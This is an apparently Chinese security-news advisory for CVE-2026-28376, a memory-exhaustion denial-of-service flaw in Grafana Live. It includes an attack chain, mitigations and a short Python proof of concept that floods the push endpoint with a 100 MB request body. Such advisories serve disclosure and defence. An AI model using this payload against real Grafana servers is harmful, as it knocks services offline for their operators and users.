CVE-2026-28376 CVSS 6.5 中危

CVE-2026-28376 Grafana Live内存耗尽漏洞

披露日期: 2026-05-13

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-28376

漏洞类型

拒绝服务

CVSS评分

6.5 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

Grafana

漏洞概述

Grafana Live推送端点存在安全漏洞，攻击者可通过发送大量或流式请求数据导致无界内存分配。该漏洞需低权限用户认证，利用后可能引发系统内存溢出（OOM），导致服务不可用，严重影响系统可用性。

技术细节

该漏洞源于Grafana Live组件在处理推送请求时，缺乏对内存分配大小的有效限制。已认证的攻击者可以向Grafana Live API推送端点发送特制的HTTP请求。通过构造包含超大负载的请求体，或持续发送流式数据，可触发服务端持续申请内存资源。由于未设置分配上限，这种无界内存增长会迅速耗尽主机可用内存。当物理内存和交换空间耗尽时，操作系统OOM机制将终止Grafana进程，导致拒绝服务。

攻击链分析

STEP 1

1. 获取凭证

攻击者获取一个具有访问Grafana Live API权限的低权限账号凭证。

STEP 2

2. 构造恶意请求

攻击者编写脚本，构造包含超大数据体或流式数据的POST请求，目标指向Grafana Live推送端点。

STEP 3

3. 触发漏洞

发送恶意请求，服务端因处理逻辑缺陷开始无限制分配内存。

STEP 4

4. 耗尽资源

服务器内存被耗尽，导致Grafana服务崩溃或停止响应，实现拒绝服务攻击。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Target Grafana instance
target_url = 'http://target-grafana:3000/api/live/push'
auth_header = {'Authorization': 'Bearer <YOUR_TOKEN>'}

# Create a large payload to trigger OOM
# Sending 100MB of data in the request body
payload = 'A' * (100 * 1024 * 1024)

try:
    response = requests.post(target_url, headers=auth_header, data=payload)
    print(f'Exploit sent, status: {response.status_code}')
except Exception as e:
    print(f'Error: {e}')

影响范围

具体受影响版本请参考Grafana官方安全公告

防御指南

临时缓解措施

若无法立即升级，建议在反向代理（如Nginx）层面限制请求包体大小，并在防火墙中严格限制对/api/live端点的访问IP，仅允许受信任的服务器调用。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表